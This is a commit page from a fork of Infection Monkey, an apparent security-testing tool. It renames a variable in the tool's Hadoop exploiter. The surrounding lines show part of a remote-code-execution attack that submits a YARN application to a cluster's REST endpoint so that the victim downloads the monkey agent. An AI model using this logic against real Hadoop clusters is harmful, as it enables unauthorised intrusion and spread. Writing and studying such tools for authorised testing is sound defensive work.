p34709852
/
monkey
forked from p15670423/monkey
1
0
Fork 1
Code Issues Pull Requests Projects Releases Wiki Activity

Agent: Rename stamp to timestamp in Hadoop

This commit is contained in:
Ilija Lazoroski 2022-10-06 13:05:48 +02:00
parent 8f6df12d9c
commit 8bdb30dcfb
1 changed files with 6 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
monkey/infection_monkey/exploit/hadoop.py
View File

@ -65,7 +65,7 @@ class HadoopExploiter(WebRCE):
) )
command = self._build_command(monkey_path_on_victim, http_path) command = self._build_command(monkey_path_on_victim, http_path)
stamp = time() timestamp = time()
try: try:
if self.exploit(self.vulnerable_urls[0], command): if self.exploit(self.vulnerable_urls[0], command):
@ -75,8 +75,8 @@ class HadoopExploiter(WebRCE):
except requests.RequestException as err: except requests.RequestException as err:
error_message = str(err) error_message = str(err)
self._publish_exploitation_event(stamp, False, error_message=error_message) self._publish_exploitation_event(timestamp, False, error_message=error_message)
self._publish_propagation_event(stamp, False, error_message=error_message) self._publish_propagation_event(timestamp, False, error_message=error_message)
finally: finally:
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
@ -106,15 +106,15 @@ class HadoopExploiter(WebRCE):
self._set_interrupted() self._set_interrupted()
return False return False
stamp = time() timestamp = time()
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
) )
success = resp.status_code == 202 success = resp.status_code == 202
message = "" if success else f"Failed to exploit via {url}" message = "" if success else f"Failed to exploit via {url}"
self._publish_exploitation_event(stamp, success, error_message=message) self._publish_exploitation_event(timestamp, success, error_message=message)
self._publish_propagation_event(stamp, success, error_message=message) self._publish_propagation_event(timestamp, success, error_message=message)
return success return success
def check_if_exploitable(self, url): def check_if_exploitable(self, url):